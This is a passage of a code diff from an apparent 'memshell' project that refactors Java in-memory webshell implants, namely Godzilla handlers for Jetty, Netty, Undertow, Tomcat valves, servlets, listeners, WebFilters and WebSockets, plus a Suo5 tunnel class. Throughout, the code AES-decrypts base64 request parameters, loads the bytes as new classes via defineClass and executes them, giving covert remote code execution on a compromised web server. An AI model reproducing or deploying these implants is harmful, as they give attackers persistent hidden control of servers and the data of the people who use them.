+                    session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, key, (new GodzillaJettyHandler(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length));
                 } else {
                     ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
                     Object f = ((Class<?>) cache).newInstance();
@@ -79,49 +79,29 @@ public class GodzillaJettyHandler extends ClassLoader {
 
     @SuppressWarnings("all")
     public static String base64Encode(byte[] bs) throws Exception {
-        String value = null;
-        Class<?> base64;
         try {
-            base64 = Class.forName("java.util.Base64");
+            Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
-            Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
-            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
         } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Encoder");
+            Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
-            Object encoder = base64.newInstance();
+            return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
-            value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
         }
-        return value;
     }
 
     @SuppressWarnings("all")
     public static byte[] base64Decode(String bs) throws Exception {
-        byte[] value = null;
-        Class<?> base64;
         try {
-            base64 = Class.forName("java.util.Base64");
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
         } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Decoder");
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
-            Object decoder = base64.newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
         }
-        return value;
     }
 
-    @SuppressWarnings("all")
+    public byte[] x(byte[] s, boolean m) throws Exception {
-    public Class<?> Q(byte[] cb) {
+        Cipher c = Cipher.getInstance("AES");
-        return super.defineClass(cb, 0, cb.length);
+        c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
-    }
+        return c.doFinal(s);
-
-    public byte[] x(byte[] s, boolean m) {
-        try {
-
-            Cipher c = Cipher.getInstance("AES");
-            c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
-            return c.doFinal(s);
-        } catch (Exception var4) {
-            return null;
-        }
     }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java

@@ -27,7 +27,6 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe
     }
 
     @Override
-    @SuppressWarnings("all")
     public void requestInitialized(ServletRequestEvent servletRequestEvent) {
         HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
         try {
@@ -41,7 +40,7 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe
                 if (cache == null) {
                     session.setAttribute(
                             key,
-                            (new GodzillaListener(Thread.currentThread().getContextClassLoader())).Q(data));
+                            (new GodzillaListener(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length));
                 } else {
                     ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
                     Object f = ((Class<?>) cache).newInstance();
@@ -66,49 +65,30 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe
 
     @SuppressWarnings("all")
     public static String base64Encode(byte[] bs) throws Exception {
-        String value = null;
-        Class<?> base64;
         try {
-            base64 = Class.forName("java.util.Base64");
+            Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
-            Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
-            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
         } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Encoder");
+            Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
-            Object encoder = base64.newInstance();
+            return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
-            value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
         }
-        return value;
     }
 
     @SuppressWarnings("all")
     public static byte[] base64Decode(String bs) throws Exception {
-        byte[] value = null;
-        Class<?> base64;
         try {
-            base64 = Class.forName("java.util.Base64");
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
         } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Decoder");
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
-            Object decoder = base64.newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
         }
-        return value;
     }
 
-    @SuppressWarnings("deprecation")
+    public byte[] x(byte[] s, boolean m) throws Exception {
-    public Class<?> Q(byte[] cb) {
+        Cipher c = Cipher.getInstance("AES");
-        return super.defineClass(cb, 0, cb.length);
+        c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
-    }
+        return c.doFinal(s);
-
-    public byte[] x(byte[] s, boolean m) {
-        try {
-            Cipher c = Cipher.getInstance("AES");
-            c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
-            return c.doFinal(s);
-        } catch (Exception var4) {
-            return null;
-        }
     }
 
     @Override

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java

@@ -111,46 +111,32 @@ public class GodzillaNettyHandler extends ChannelDuplexHandler {
         return clazz;
     }
 
-    public byte[] x(byte[] s, boolean m) {
+    public byte[] x(byte[] s, boolean m) throws Exception {
-        try {
+        Cipher c = Cipher.getInstance("AES");
-            Cipher c = Cipher.getInstance("AES");
+        c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
-            c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
+        return c.doFinal(s);
-            return c.doFinal(s);
-        } catch (Exception e) {
-            return null;
-        }
     }
 
     @SuppressWarnings("all")
     public static String base64Encode(byte[] bs) throws Exception {
-        String value = null;
-        Class<?> base64;
         try {
-            base64 = Class.forName("java.util.Base64");
+            Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
-            Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
-            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
         } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Encoder");
+            Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
-            Object encoder = base64.newInstance();
+            return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
-            value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
         }
-        return value;
     }
 
     @SuppressWarnings("all")
     public static byte[] base64Decode(String bs) throws Exception {
-        byte[] value = null;
-        Class<?> base64;
         try {
-            base64 = Class.forName("java.util.Base64");
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
         } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Decoder");
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
-            Object decoder = base64.newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
         }
-        return value;
     }
 
     private void send(ChannelHandlerContext ctx, String context) throws Exception {

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java

@@ -38,7 +38,7 @@ public class GodzillaServlet extends ClassLoader implements Servlet {
                 data = this.x(data, false);
                 Object cache = session.getAttribute(key);
                 if (cache == null) {
-                    session.setAttribute(key, (new GodzillaServlet(Thread.currentThread().getContextClassLoader())).Q(data));
+                    session.setAttribute(key, (new GodzillaServlet(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length));
                 } else {
                     ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
                     Object f = ((Class<?>) cache).newInstance();
@@ -57,63 +57,32 @@ public class GodzillaServlet extends ClassLoader implements Servlet {
         }
     }
 
-    @Override
+    public byte[] x(byte[] s, boolean m) throws Exception {
-    public String getServletInfo() {
+        Cipher c = Cipher.getInstance("AES");
-        return "";
+        c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
+        return c.doFinal(s);
     }
 
-    @Override
-    public void destroy() {
-
-    }
-
-    @SuppressWarnings("all")
-    public Class<?> Q(byte[] cb) {
-        return super.defineClass(cb, 0, cb.length);
-    }
-
-    public byte[] x(byte[] s, boolean m) {
-        try {
-
-            Cipher c = Cipher.getInstance("AES");
-            c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
-            return c.doFinal(s);
-        } catch (Exception var4) {
-            return null;
-        }
-    }
-
-
     @SuppressWarnings("all")
     public static String base64Encode(byte[] bs) throws Exception {
-        String value = null;
-        Class<?> base64;
         try {
-            base64 = Class.forName("java.util.Base64");
+            Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
-            Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
-            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
         } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Encoder");
+            Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
-            Object encoder = base64.newInstance();
+            return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
-            value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
         }
-        return value;
     }
 
     @SuppressWarnings("all")
     public static byte[] base64Decode(String bs) throws Exception {
-        byte[] value = null;
-        Class<?> base64;
         try {
-            base64 = Class.forName("java.util.Base64");
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
         } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Decoder");
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
-            Object decoder = base64.newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
         }
-        return value;
     }
 
     @Override
@@ -125,4 +94,14 @@ public class GodzillaServlet extends ClassLoader implements Servlet {
     public ServletConfig getServletConfig() {
         return null;
     }
+
+    @Override
+    public String getServletInfo() {
+        return "";
+    }
+
+    @Override
+    public void destroy() {
+
+    }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java

@@ -42,7 +42,7 @@ public class GodzillaUndertowServletHandler extends ClassLoader {
                 Object session = request.getClass().getMethod("getSession").invoke(request);
                 Object cache = session.getClass().getMethod("getAttribute", String.class).invoke(session, key);
                 if (cache == null) {
-                    session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, key, (new GodzillaUndertowServletHandler(Thread.currentThread().getContextClassLoader())).Q(data));
+                    session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, key, (new GodzillaUndertowServletHandler(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length));
                 } else {
                     request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data);
                     ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
@@ -66,48 +66,29 @@ public class GodzillaUndertowServletHandler extends ClassLoader {
 
     @SuppressWarnings("all")
     public static String base64Encode(byte[] bs) throws Exception {
-        String value = null;
-        Class<?> base64;
         try {
-            base64 = Class.forName("java.util.Base64");
+            Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
-            Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
-            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
         } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Encoder");
+            Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
-            Object encoder = base64.newInstance();
+            return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
-            value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
         }
-        return value;
     }
 
     @SuppressWarnings("all")
     public static byte[] base64Decode(String bs) throws Exception {
-        byte[] value = null;
-        Class<?> base64;
         try {
-            base64 = Class.forName("java.util.Base64");
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
         } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Decoder");
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
-            Object decoder = base64.newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
         }
-        return value;
     }
 
-    @SuppressWarnings("all")
+    public byte[] x(byte[] s, boolean m) throws Exception {
-    public Class<?> Q(byte[] cb) {
+        Cipher c = Cipher.getInstance("AES");
-        return super.defineClass(cb, 0, cb.length);
+        c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
-    }
+        return c.doFinal(s);
-
-    public byte[] x(byte[] s, boolean m) {
-        try {
-            Cipher c = Cipher.getInstance("AES");
-            c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
-            return c.doFinal(s);
-        } catch (Exception var4) {
-            return null;
-        }
     }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java

@@ -38,7 +38,7 @@ public class GodzillaValve extends ClassLoader implements Valve {
                 data = this.x(data, false);
                 Object cache = session.getAttribute(key);
                 if (cache == null) {
-                    session.setAttribute(key, (new GodzillaValve(Thread.currentThread().getContextClassLoader())).Q(data));
+                    session.setAttribute(key, (new GodzillaValve(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length));
                 } else {
                     ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
                     Object f = ((Class) cache).newInstance();
@@ -61,49 +61,30 @@ public class GodzillaValve extends ClassLoader implements Valve {
 
     @SuppressWarnings("all")
     public static String base64Encode(byte[] bs) throws Exception {
-        String value = null;
-        Class<?> base64;
         try {
-            base64 = Class.forName("java.util.Base64");
+            Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
-            Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
-            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
         } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Encoder");
+            Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
-            Object encoder = base64.newInstance();
+            return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
-            value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
         }
-        return value;
     }
 
     @SuppressWarnings("all")
     public static byte[] base64Decode(String bs) throws Exception {
-        byte[] value = null;
-        Class<?> base64;
         try {
-            base64 = Class.forName("java.util.Base64");
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
         } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Decoder");
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
-            Object decoder = base64.newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
         }
-        return value;
     }
 
-    @SuppressWarnings("all")
+    public byte[] x(byte[] s, boolean m) throws Exception {
-    public Class Q(byte[] cb) {
+        Cipher c = Cipher.getInstance("AES");
-        return super.defineClass(cb, 0, cb.length);
+        c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
-    }
+        return c.doFinal(s);
-
-    public byte[] x(byte[] s, boolean m) {
-        try {
-            Cipher c = Cipher.getInstance("AES");
-            c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
-            return c.doFinal(s);
-        } catch (Exception var4) {
-            return null;
-        }
     }
 
     protected Valve next;

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java

@@ -49,7 +49,7 @@ public class GodzillaWebFilter extends ClassLoader implements WebFilter {
                 byte[] data = base64Decode(map.getFirst(pass));
                 data = x(data, false);
                 if (payload == null) {
-                    payload = new GodzillaWebFilter(Thread.currentThread().getContextClassLoader()).Q(data);
+                    payload = new GodzillaWebFilter(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
                 } else {
                     ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
                     Object f = payload.getDeclaredConstructor().newInstance();
@@ -70,48 +70,29 @@ public class GodzillaWebFilter extends ClassLoader implements WebFilter {
 
     @SuppressWarnings("all")
     public static String base64Encode(byte[] bs) throws Exception {
-        String value = null;
-        Class<?> base64;
         try {
-            base64 = Class.forName("java.util.Base64");
+            Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
-            Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
-            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
         } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Encoder");
+            Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
-            Object encoder = base64.newInstance();
+            return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
-            value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
         }
-        return value;
     }
 
     @SuppressWarnings("all")
     public static byte[] base64Decode(String bs) throws Exception {
-        byte[] value = null;
-        Class<?> base64;
         try {
-            base64 = Class.forName("java.util.Base64");
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
         } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Decoder");
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
-            Object decoder = base64.newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
         }
-        return value;
     }
 
-    @SuppressWarnings("all")
+    public byte[] x(byte[] s, boolean m) throws Exception {
-    public Class<?> Q(byte[] cb) {
+        Cipher c = Cipher.getInstance("AES");
-        return super.defineClass(cb, 0, cb.length);
+        c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
-    }
+        return c.doFinal(s);
-
-    public byte[] x(byte[] s, boolean m) {
-        try {
-            Cipher c = Cipher.getInstance("AES");
-            c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
-            return c.doFinal(s);
-        } catch (Exception var4) {
-            return null;
-        }
     }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java

@@ -70,16 +70,6 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
         return clazz;
     }
 
-    public byte[] x(byte[] s, boolean m) {
-        try {
-            Cipher c = Cipher.getInstance("AES");
-            c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
-            return c.doFinal(s);
-        } catch (Exception var4) {
-            return null;
-        }
-    }
-
     @Override
     public void onOpen(final Session session, EndpointConfig config) {
         this.session = session;
@@ -88,33 +78,29 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
 
     @SuppressWarnings("all")
     public static String base64Encode(byte[] bs) throws Exception {
-        String value = null;
-        Class<?> base64;
         try {
-            base64 = Class.forName("java.util.Base64");
+            Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
-            Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
-            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
         } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Encoder");
+            Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
-            Object encoder = base64.newInstance();
+            return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
-            value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
         }
-        return value;
     }
 
     @SuppressWarnings("all")
     public static byte[] base64Decode(String bs) throws Exception {
-        byte[] value = null;
-        Class<?> base64;
         try {
-            base64 = Class.forName("java.util.Base64");
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
         } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Decoder");
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
-            Object decoder = base64.newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
         }
-        return value;
+    }
+
+    public byte[] x(byte[] s, boolean m) throws Exception {
+        Cipher c = Cipher.getInstance("AES");
+        c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
+        return c.doFinal(s);
     }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5.java

@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.shelltool.suo5;
 
 import javax.net.ssl.*;
 import java.io.*;
+import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.net.*;
 import java.nio.ByteBuffer;
@@ -34,8 +35,8 @@ public class Suo5 implements Runnable, HostnameVerifier, X509TrustManager {
     @Override
     public boolean equals(Object obj) {
         Object[] args = ((Object[]) obj);
-        Object request = args[0];
+        Object request = unwrap(args[0], "request");
-        Object response = args[1];
+        Object response = unwrap(args[1], "response");
         try {
             String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
             String contentType = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, "Content-Type");
@@ -56,6 +57,30 @@ public class Suo5 implements Runnable, HostnameVerifier, X509TrustManager {
         return false;
     }
 
+    @SuppressWarnings("all")
+    public Object unwrap(Object obj, String fieldName) {
+        try {
+            return getFieldValue(obj, fieldName);
+        } catch (Throwable e) {
+            return obj;
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException();
+    }
+
     public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
         int bufferOffset = 0;
         while (bufferOffset < b.length) {

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5WebFilter.java

@@ -434,15 +434,4 @@ public class Suo5WebFilter implements WebFilter {
         }
         return m;
     }
-
-    public static Object getFieldValue(Object obj, String fieldName, boolean superClass) throws Exception {
-        Field f;
-        if (superClass) {
-            f = obj.getClass().getSuperclass().getDeclaredField(fieldName);
-        } else {
-            f = obj.getClass().getDeclaredField(fieldName);
-        }
-        f.setAccessible(true);
-        return f.get(obj);
-    }
 }